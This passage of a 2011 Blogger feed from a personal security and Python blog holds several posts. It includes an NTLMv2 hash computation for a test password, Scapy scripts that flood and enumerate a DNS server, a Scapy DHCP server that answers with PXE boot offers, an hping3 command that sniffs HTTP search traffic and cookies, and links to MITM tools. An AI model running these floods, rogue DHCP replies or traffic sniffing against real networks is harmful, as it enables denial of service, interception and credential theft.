NTLM_Response : ['0x5', '0x58', '0xd', '0x18', '0x4e', '0x95', '0xc1', '0x81', '0xbb', '0x2a', '0xbd', '0xc5', '0xfe', '0xf3', '0xf5', '0x57', '0x9c', '0x71', '0xae', '0xa8', '0xce', '0x18', '0xd5', '0x40', '0xd', '0xea', '0xd4', '0x68', '0xae', '0x38', '0x66', '0xd9', '0x2b', '0xdd', '0x22', '0x6b', '0x4e', '0x27', '0x4b', '0x95', '0x3f', '0x85', '0xf0', '0xcb', '0x53', '0xa3', '0x61', '0xe1']
Unicode16_Encoded_Password : ['0x73', '0x0', '0x65', '0x0', '0x63', '0x0', '0x72', '0x0', '0x65', '0x0', '0x74', '0x0', '0x30', '0x0', '0x31', '0x0']
MD4_Encoded_Password : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b']
MD4_Encoded_Password_Padded : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b', '0x0', '0x0', '0x0', '0x0', '0x0']
NTLM_v2_Hash : ['0xdf', '0x6f', '0xfd', '0x7', '0x95', '0xb9', '0x7a', '0xe2', '0x9f', '0x16', '0xa', '0xd5', '0xd0', '0x3e', '0xe1', '0xd8']
Target_List : ['0x2', '0x0', '0xc', '0x0', '0x52', '0x0', '0x4f', '0x0', '0x56', '0x0', '0x45', '0x0', '0x45', '0x0', '0x32', '0x0', '0x1', '0x0', '0x1e', '0x0', '0x56', '0x0', '0x4d', '0x0', '0x57', '0x0', '0x41', '0x0', '0x52', '0x0', '0x45', '0x0', '0x2d', '0x0', '0x53', '0x0', '0x55', '0x0', '0x38', '0x0', '0x59', '0x0', '0x42', '0x0', '0x4b', '0x0', '0x4b', '0x0', '0x34', '0x0', '0x4', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x3', '0x0', '0x34', '0x0', '0x76', '0x0', '0x6d', '0x0', '0x77', '0x0', '0x61', '0x0', '0x72', '0x0', '0x65', '0x0', '0x2d', '0x0', '0x73', '0x0', '0x75', '0x0', '0x38', '0x0', '0x79', '0x0', '0x62', '0x0', '0x6b', '0x0', '0x6b', '0x0', '0x34', '0x0', '0x2e', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x5', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x0', '0x0', '0x0', '0x0']
Blob_signature : ['0x1', '0x1', '0x0', '0x0']
Reserved_Value : ['0x0', '0x0', '0x0', '0x0']
Timestamp : ['0x0', '0x90', '0xd3', '0x36', '0xb7', '0x34', '0xc3', '0x1']
Random_Client_Nonce : ['0xff', '0xff', '0xff', '0x0', '0x11', '0x22', '0x33', '0x44']
Unknown_Value : ['0x30', '0x30', '0x30', '0x30', '0x30', '0x30', '0x30', '0x30']
Blob : ['0xd4', '0x19', '0xa0', '0x12', '0xa0', '0x24', '0xdb', '0xcf', '0x1', '0x1', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x90', '0xd3', '0x36', '0xb7', '0x34', '0xc3', '0x1', '0xff', '0xff', '0xff', '0x0', '0x11', '0x22', '0x33', '0x44', '0x0', '0x0', '0x0', '0x0', '0x2', '0x0', '0xc', '0x0', '0x52', '0x0', '0x4f', '0x0', '0x56', '0x0', '0x45', '0x0', '0x45', '0x0', '0x32', '0x0', '0x1', '0x0', '0x1e', '0x0', '0x56', '0x0', '0x4d', '0x0', '0x57', '0x0', '0x41', '0x0', '0x52', '0x0', '0x45', '0x0', '0x2d', '0x0', '0x53', '0x0', '0x55', '0x0', '0x38', '0x0', '0x59', '0x0', '0x42', '0x0', '0x4b', '0x0', '0x4b', '0x0', '0x34', '0x0', '0x4', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x3', '0x0', '0x34', '0x0', '0x76', '0x0', '0x6d', '0x0', '0x77', '0x0', '0x61', '0x0', '0x72', '0x0', '0x65', '0x0', '0x2d', '0x0', '0x73', '0x0', '0x75', '0x0', '0x38', '0x0', '0x79', '0x0', '0x62', '0x0', '0x6b', '0x0', '0x6b', '0x0', '0x34', '0x0', '0x2e', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x5', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0']
Challenge : ['0xd4', '0x19', '0xa0', '0x12', '0xa0', '0x24', '0xdb', '0xcf']
NTLM_v2_Response : ['0x36', '0xa5', '0xda', '0x3a', '0x9a', '0x1a', '0xaa', '0x1e', '0x2d', '0x8f', '0x21', '0x1f', '0x59', '0x94', '0x70', '0x92']
Unicode16_Encoded_Password : ['0x73', '0x0', '0x65', '0x0', '0x63', '0x0', '0x72', '0x0', '0x65', '0x0', '0x74', '0x0', '0x30', '0x0', '0x31', '0x0']
MD4_Encoded_Password : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b']
NTLM_v2_Hash : ['0xdf', '0x6f', '0xfd', '0x7', '0x95', '0xb9', '0x7a', '0xe2', '0x9f', '0x16', '0xa', '0xd5', '0xd0', '0x3e', '0xe1', '0xd8']
Random_Client_Nonce : ['0xff', '0xff', '0xff', '0xf0', '0x1', '0x12', '0x23', '0x34', '0x4']
LM_v2_Response : ['0xdf', '0x6f', '0xfd', '0x7', '0x95', '0xb9', '0x7a', '0xe2', '0x9f', '0x16', '0xa', '0xd5', '0xd0', '0x3e', '0xe1', '0xd8']
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8489315841065982667?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8489315841065982667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/simple-python-script-to-generate-lm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8489315841065982667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8489315841065982667'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/simple-python-script-to-generate-lm.html' title='Simple python script to generate LM Response'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1216571038348046512</id><published>2011-07-20T22:53:00.000-07:00</published><updated>2011-07-20T22:53:04.626-07:00</updated><title type='text'>A set of very good hacking tools</title><content type='html'>Set of very good hacking tools &lt;a href="http://www.signedness.org/tools/"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Tools of concern are mitm-ssh, mitm-ssl, netcap, SAdoor and wnet&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1216571038348046512?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1216571038348046512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/set-of-very-good-hacking-tools.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1216571038348046512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1216571038348046512'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/set-of-very-good-hacking-tools.html' title='A set of very good hacking tools'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5346325353475843338</id><published>2011-07-18T04:51:00.000-07:00</published><updated>2011-07-18T04:51:23.217-07:00</updated><title type='text'>Fuzz testing DNS server using scapy</title><content type='html'>&lt;a href="http://www.packetlevel.ch/html/scapy/scapydns.html"&gt;Here is one&lt;/a&gt; available right out of the box&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;Some Scapy Samples for Testing / Flooding DNS Server with random Querys
Full Random Querys

for i in range(0, 1000):
 s = RandString(RandNum(1,50))
 s1 =s.lower()
 d = RandString(RandNum(1,20))
 d1 = d.lower()
 t = RandString(RandNum(2,3))
 t1 = t.lower()
 q = s1+"."+d1+"."+t1
 print i ,q
 send(IP(dst="192.168.0.1")/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))
else:
 print 'The for loop is over'

One Domain

top_level = ".ch"
domain = "target"
cnt = 1000
dns_server = "10.0.0.1"

for i in range(0, cnt):
 s = RandString(RandNum(1,8))
 s1 =s.lower()
 q = s1+"."+domain+top_level
 print i ,q
 sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))

Some Toplevel Domains

top =[ ".com", ".net" , ".com", ".edu" , ".ch", ".de", ".li", ".jp", ".ru", ".tv",".nl",".fr" ]
anz_top=len(top)

for i in range(0, 100):
 s = RandString(RandNum(1,50))
 s1 =s.lower()
 d = RandString(RandNum(1,20))
 d1 = d.lower()
 t = top_level=top[random.randint(0,anz_top-1)]
 t1 = t.lower()
 q = s1+"."+d1+t1
 print i ,q
 send(IP(dst="192.168.0.1")/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))
else:
 print 'The for loop is over'

DNS Enumeration Sample

#!/usr/bin/python
from scapy.all import *
domain = "target.ch"
dns_server = "10.0.0.1"
server =[ "www", "www1" , "www2", "ns", "ns1" , "ns2" ,"dns" , "dns1", "dns2", "dns3", "pop", "mail", "smtp" , 
 "pop3",  "test", "dev" , "ads", "adserver", "adsl", "agent", "channel", "dmz", "sz" , "client", "imap" ,
 "http" , "https", "ftp", "ftpserver", "tftp", "ntp" , "ids" , "ips" , "snort" , "imail" , "pops" , 
        "imaps" , "irc" , "linux" , "windows", "log" , "install", "blog" , "host", "printer", "public" , "sql",
        "mysql", "router" , "cisco" , "switch", "telnet", "voip", "webmin" , "ssh", "delevlop" , "pub" , "root" ,
        "user", "xml", "ww" , "telnet", "extern", "intranet" , "extranet", "testing" , "default", "gateway" ,
        "radius" , "noc" , "mobile", "customer" , "chat" , "siprouter" , "sip" , "nms" , "noc", "office" , 
        "voice" , "support" , "spare" , "owa" , "exchange" ]
serverans=[]
cnt=len(server)

for i in range(0, cnt):
 q = server[i]+"."+domain
 ans=sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))
 ans
 if ans[DNS].ancount == 0:
    print q, "unkown"
    serverans.insert(i,"unkown")
 else:
    print q, ans[DNSRR].rdata
    serverans.insert(i,ans[DNSRR].rdata)

for i in range(0, cnt):
  print server[i]+"."+domain, serverans[i]

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5346325353475843338?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5346325353475843338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/fuzz-testing-dns-server-using-scapy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5346325353475843338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5346325353475843338'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/fuzz-testing-dns-server-using-scapy.html' title='Fuzz testing DNS server using scapy'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6739150558684332068</id><published>2011-07-12T06:48:00.000-07:00</published><updated>2011-07-13T05:21:31.029-07:00</updated><title type='text'>DHCP Server in scapy</title><content type='html'>This works only in windows version of scapy:&lt;br /&gt;
&lt;br /&gt;
NOTE: Requires a TFTP server running on the server_ip IP Address (this can also be a &lt;a href="http://files.myopera.com/suchindrac/files/tftpserver.py"&gt;script&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;from scapy.all import *
from struct import *
from socket import *
import sys, os, time

#input info
server_ip="192.168.100.240"
client_ip="192.168.100.185"
server_mac="00:50:56:b1:07:3d"

subnet_mask="255.255.255.0"
gateway="192.168.100.240"

#DHCP leases
def detect_dhcp(pkt):
 try:
  dhcpPkt = pkt[DHCP]
 except:
  return "Packet does not have DHCP part"
 #If DHCP Discover then DHCP Offer
 if pkt[DHCP] and pkt[DHCP].options[0][1] == 1:
                clientMAC = pkt[Ether].src

#                print "MAC:", clientMAC
#                print "\nDHCP Discover packet detected"

                print "."
                cmList = clientMAC.split(":")

                hCMList = []

                for iter1 in cmList:
                        hCMList.append(int(iter1, 16))

                hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) 
#                print "HMAC:", hMAC
  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
  op=2,
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=hMAC,
  xid=pkt[BOOTP].xid,
                sname=server_ip,
                file="/tftpboot/gpxelinux.0",
  )/
                DHCP(options=[('message-type','offer')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )

 if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
                clientMAC = pkt[Ether].src

#                print "MAC:", clientMAC
#                print "DHCP Discover packet detected"

                cmList = clientMAC.split(":")

                hCMList = []

                for iter1 in cmList:
                        hCMList.append(int(iter1, 16))

                hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) 

  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
    
  op=2,
    
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=hMAC,
                sname=server_ip,
                file="/tftpboot/gpxelinux.0",
  xid=pkt[BOOTP].xid
  )/
                DHCP(options=[('message-type','ack')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )
#  print "DHCP Ack packet sent\n\nCtrl+C to exit\n"

sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp, store=0)

&lt;/pre&gt;&lt;br /&gt;
The linux version is below, it expects a little more precise MAC address formatting, and the following script does just that:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
from scapy.all import *
from struct import *
from socket import *
import sys, os, time
 
def toMAC(strMac):
 cmList = strMac.split(":")
 
 hCMList = []
 
        for iter1 in cmList:
         hCMList.append(int(iter1, 16))
 
        hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) 
 
 return hMAC
 
def toIP(strIP):
 ciList = strIP.split(".")
 
 hciList = []
 
 for iter1 in ciList:
  hciList.append(int(iter1, 10))
 
        hIP = struct.pack('!B', hciList[0]) + struct.pack('!B', hciList[1]) + struct.pack('!B', hciList[2]) + struct.pack('!B', hciList[3])
 
 return hIP
 
 
#input info
server_ip = "192.168.100.230"
client_ip = "192.168.100.185"
server_mac = toMAC("00:0c:29:f4:ce:9e")
 
subnet_mask = "255.255.255.0"
gateway = "192.168.100.230"
 
 
#DHCP leases
def detect_dhcp(pkt):
 print "\nPacket received\n"
 try:
  dhcpPkt = pkt[DHCP]
 except:
  return "Packet does not have DHCP part"
 #If DHCP Discover then DHCP Offer
 if pkt[DHCP] and pkt[DHCP].options[0][1] == 1:
                clientMAC = pkt[Ether].src
 
                print "MAC:", clientMAC
                print "\nDHCP Discover packet detected"
 
  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
  op=2,
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=toMAC(clientMAC),
  xid=pkt[BOOTP].xid,
                sname=server_ip,
                file="/tftproot/pxelinux.0",
  )/
                DHCP(options=[('message-type','offer')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )
 
 if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
                clientMAC = pkt[Ether].src
 
                print "MAC:", clientMAC
                print "\nDHCP Discover packet detected"
 
                print "DHCP Request packet detected"
 
  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
 
  op=2,
 
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=toMAC(clientMAC),
  xid=pkt[BOOTP].xid
  )/
                DHCP(options=[('message-type','ack')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )
  print "DHCP Ack packet sent\n\nCtrl+C to exit\n"
 
sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp, store=0)

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6739150558684332068?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6739150558684332068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/dhcp-server-in-scapy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6739150558684332068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6739150558684332068'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/dhcp-server-in-scapy.html' title='DHCP Server in scapy'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6828845142716980969</id><published>2011-06-22T10:35:00.000-07:00</published><updated>2011-07-12T06:44:48.362-07:00</updated><title type='text'>SSO in windows using python</title><content type='html'>GSSAPI example:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;import sys

def _PassthroughLoginGSSAPI(host):
      userSession = None
      try:
         import kerberos
      except ImportError, err:
         print "Unable to import kerberos libarary"
         return userSession
 
      context = None
      try:
         result, context = kerberos.authGSSClientInit("host@%s" % host)
         #result, context = kerberos.authGSSClientInit("host@%s" % host, 0)
         challenge = ""
         while True:
            print "Inside loop"
            # Call GSS step
            result = kerberos.authGSSClientStep(context, challenge)
            if result &lt; 0:
               print "authGSSClientStep failed"
 
 
            secToken = kerberos.authGSSClientResponse(context)
            try:
               userSession = sessionMgr.LoginBySSPI(secToken)
               # No exception =&gt; logged in
               userName = kerberos.authGSSClientUserName(context)
               print "Passthru authentication succeeded"
 
               del secToken
               break
            except vim.fault.SSPIChallenge, err:
               # Continue gssapi challenges
               challenge = err.base64Token
 
         del challenge
      except Exception, err:
         print "Exception:", err
 
      if context:
         try:
            kerberos.authGSSClientClean(context)
         except Exception, err:
            print "Exception in authGSSClientClean", err
 
      return userSession
 
result = _PassthroughLoginGSSAPI(sys.argv[1])
EOF
#python /tmp/python-api.py cstor.e2e.com
Inside loop
Passthru authentication succeeded
#
&lt;/pre&gt;&lt;br /&gt;
Windows example:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;import base64
class WindoewNtlmMessageGenerator:
   def __init__(self,user=None):
       import win32api,sspi
       if not user:
           user = win32api.GetUserName()
       self.sspi_client = sspi.ClientAuth("NTLM",user)   

   def create_auth_req(self):
       import pywintypes
       output_buffer = None
       error_msg = None
       try:
           error_msg, output_buffer = self.sspi_client.authorize(None)             
       except pywintypes.error:           
            return None
       auth_req = output_buffer[0].Buffer
       auth_req = base64.b64encode(auth_req)
       return auth_req 


ntlm_gen = WindoewNtlmMessageGenerator()
auth_req_msg = ntlm_gen.create_auth_req()
print auth_req_msg
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6828845142716980969?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6828845142716980969/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/06/sso-in-windows-using-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6828845142716980969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6828845142716980969'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/06/sso-in-windows-using-python.html' title='SSO in windows using python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-946859040949676372</id><published>2011-06-18T00:38:00.001-07:00</published><updated>2011-06-18T00:38:52.920-07:00</updated><title type='text'>Sniffing specific HTTP packets using hping3</title><content type='html'>The following command would sniff all google search content going over HTTP (including the cookies):&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;hping3 -9 "http://www.google.com/search?" --beep -I eth0&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-946859040949676372?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/946859040949676372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/06/sniffing-specific-http-packets-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/946859040949676372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/946859040949676372'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/06/sniffing-specific-http-packets-using.html' title='Sniffing specific HTTP packets using hping3'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3032668541499079806</id><published>2011-04-26T05:28:00.000-07:00</published><updated>2011-04-26T05:28:38.339-07:00</updated><title type='text'>Livequery without livequery plugin in JQuery filetree</title><content type='html'>&lt;a href="http://docs.jquery.com/Plugins/livequery"&gt;Livequery&lt;/a&gt; is a JQuery plugin which can be used to query parts of a web page which are dynamically updated using javascript or ajax&lt;br /&gt;
&lt;br /&gt;
Its quite simple API&lt;br /&gt;
&lt;br /&gt;
If you want to identify an "a" element in an html, all that you do is:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="Code" class="Cpp"&gt;
$('a') 
    .livequery('click', function(event) { 
        alert('clicked'); 
        return false; 
    }); 

&lt;/pre&gt;&lt;br /&gt;
If you don't want to include livequery code, you have to give a function handler in the back-end script (mod-python/perl/whatever is run at the backend), to send something &lt;a href="http://files.myopera.com/suchindrac/files/jqueryFileTree.py"&gt;like this&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And in the function hand (fileClicked in the example in the link above), handle the event&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3032668541499079806?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3032668541499079806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/livequery-without-livequery-plugin.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3032668541499079806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3032668541499079806'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/livequery-without-livequery-plugin.html' title='Livequery without livequery plugin in JQuery filetree'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3887456876313608390</id><published>2011-04-26T05:21:00.000-07:00</published><updated>2011-04-26T05:21:13.934-07:00</updated><title type='text'>MOD_Python connectors for JQuery Filetree Plugin</title><content type='html'>Here is the mod_python connector script for JQuery FileTree plugin:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://files.myopera.com/suchindrac/files/jqueryFileTree.py"&gt;Click here to download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3887456876313608390?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3887456876313608390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/modpython-connectors-for-jquery.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3887456876313608390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3887456876313608390'/><link 